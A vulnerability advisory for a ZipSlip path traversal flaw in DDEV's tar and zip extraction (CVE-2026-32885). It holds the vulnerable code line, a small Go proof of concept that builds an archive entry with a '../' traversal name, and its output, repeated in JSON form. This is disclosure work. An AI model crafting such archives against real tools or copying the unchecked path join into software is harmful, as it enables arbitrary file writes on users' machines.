GHSA-X2XQ-QHJF-5MVG

Vulnerability from github – Published: 2026-04-22 19:06 – Updated: 2026-04-22 19:06
VLAI?
Summary
DDEV has ZipSlip path traversal in tar and zip archive extraction
Details

Summary

The DDEV local dev tool has unsanitized extraction in both Untar() and Unzip() functions in pkg/archive/archive.go. This flaw allows users to download and extract archives from remote sources without path validation.

Vulnerable Code

pkg/archive/archive.go:235 (Untar):

fullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION

pkg/archive/archive.go:342 (Unzip):

fullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION

Both functions create directories via os.MkdirAll and files via os.Create using the unsanitized path.

Impact

Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.

Proof of Concept

package main

// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction
// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)
// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)
// without verifying the result stays under the destination directory.

import (
    "archive/tar"
    "bytes"
    "fmt"
    "io"
    "os"
    "path/filepath"
)

// Vulnerable extraction — mirrors pkg/archive/archive.go:235
func untarVulnerable(dst string, r io.Reader) error {
    tr := tar.NewReader(r)
    for {
        header, err := tr.Next()
        if err == io.EOF {
            break
        }
        if err != nil {
            return err
        }
        // VULNERABLE: identical to archive.go:235
        // fullPath := filepath.Join(dest, file.Name)
        fullPath := filepath.Join(dst, header.Name)

        switch header.Typeflag {
        case tar.TypeDir:
            os.MkdirAll(fullPath, 0755)
        case tar.TypeReg:
            os.MkdirAll(filepath.Dir(fullPath), 0755)
            f, _ := os.Create(fullPath)
            io.Copy(f, tr)
            f.Close()
        }
    }
    return nil
}

func main() {
    // Build malicious tar with traversal entry
    var buf bytes.Buffer
    tw := tar.NewWriter(&buf)
    payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n")
    tw.WriteHeader(&tar.Header{
        Name: "../../../../../../tmp/ddev_cwe22_poc",
        Mode: 0644,
        Size: int64(len(payload)),
    })
    tw.Write(payload)
    tw.Close()

    // Extract into temp directory
    extractDir, _ := os.MkdirTemp("", "ddev-poc-*")
    defer os.RemoveAll(extractDir)

    untarVulnerable(extractDir, &buf)

    // Verify escape
    escaped := "/tmp/ddev_cwe22_poc"
    if data, err := os.ReadFile(escaped); err == nil {
        fmt.Printf("[!!!] VULNERABLE — file written to: %s\n", escaped)
        fmt.Printf("[!!!] Content: %s", string(data))
        os.Remove(escaped)
    } else {
        fmt.Println("[OK] Not vulnerable")
    }
}

Output:

[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc
[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal

Note: Both Untar (archive.go:235) and Unzip (archive.go:342) use the same filepath.Join(dest, file.Name) pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.

Suggested Fix

Add path containment check in both Untar and Unzip functions.

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ddev/ddev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32885"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T19:06:36Z",
    "nvd_published_at": "2026-04-22T17:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe DDEV local dev tool has unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. This flaw allows users to download and extract archives from remote sources without path validation.\n\n## Vulnerable Code\n\n`pkg/archive/archive.go:235` (Untar):\n```go\nfullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION\n```\n\n`pkg/archive/archive.go:342` (Unzip):\n```go\nfullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION\n```\n\nBoth functions create directories via `os.MkdirAll` and files via `os.Create` using the unsanitized path.\n\n## Impact\n\nLocal development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive \u2192 arbitrary file write on developer machine.\n\n## Proof of Concept\n\n```go\npackage main\n\n// PoC: ddev/ddev CWE-22 \u2014 ZipSlip in tar archive extraction\n// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)\n// and pkg/archive/archive.go:342 (Unzip) \u2014 both use filepath.Join(dest, name)\n// without verifying the result stays under the destination directory.\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// Vulnerable extraction \u2014 mirrors pkg/archive/archive.go:235\nfunc untarVulnerable(dst string, r io.Reader) error {\n\ttr := tar.NewReader(r)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// VULNERABLE: identical to archive.go:235\n\t\t// fullPath := filepath.Join(dest, file.Name)\n\t\tfullPath := filepath.Join(dst, header.Name)\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tos.MkdirAll(fullPath, 0755)\n\t\tcase tar.TypeReg:\n\t\t\tos.MkdirAll(filepath.Dir(fullPath), 0755)\n\t\t\tf, _ := os.Create(fullPath)\n\t\t\tio.Copy(f, tr)\n\t\t\tf.Close()\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\t// Build malicious tar with traversal entry\n\tvar buf bytes.Buffer\n\ttw := tar.NewWriter(\u0026buf)\n\tpayload := []byte(\"# PoC: ddev/ddev CWE-22 path traversal\\n\")\n\ttw.WriteHeader(\u0026tar.Header{\n\t\tName: \"../../../../../../tmp/ddev_cwe22_poc\",\n\t\tMode: 0644,\n\t\tSize: int64(len(payload)),\n\t})\n\ttw.Write(payload)\n\ttw.Close()\n\n\t// Extract into temp directory\n\textractDir, _ := os.MkdirTemp(\"\", \"ddev-poc-*\")\n\tdefer os.RemoveAll(extractDir)\n\n\tuntarVulnerable(extractDir, \u0026buf)\n\n\t// Verify escape\n\tescaped := \"/tmp/ddev_cwe22_poc\"\n\tif data, err := os.ReadFile(escaped); err == nil {\n\t\tfmt.Printf(\"[!!!] VULNERABLE \u2014 file written to: %s\\n\", escaped)\n\t\tfmt.Printf(\"[!!!] Content: %s\", string(data))\n\t\tos.Remove(escaped)\n\t} else {\n\t\tfmt.Println(\"[OK] Not vulnerable\")\n\t}\n}\n```\n\nOutput:\n```\n[!!!] VULNERABLE \u2014 file written to: /tmp/ddev_cwe22_poc\n[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal\n```\n\n\u003e **Note:** Both `Untar` (archive.go:235) and `Unzip` (archive.go:342) use the same `filepath.Join(dest, file.Name)` pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.\n\n## Suggested Fix\n\nAdd path containment check in both Untar and Unzip functions.\n\n## Credit\n\nKai Aizen (SnailSploit) \u2014 Adversarial AI \u0026 Security Research",
  "id": "GHSA-x2xq-qhjf-5mvg",
  "modified": "2026-04-22T19:06:36Z",
  "published": "2026-04-22T19:06:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ddev/ddev/security/advisories/GHSA-x2xq-qhjf-5mvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32885"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ddev/ddev/pull/8213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ddev/ddev/commit/05cbe299770a590b89bfc8dddab33e61b4302e43"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ddev/ddev"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ddev/ddev/releases/tag/v1.25.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DDEV has ZipSlip path traversal in tar and zip archive extraction"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…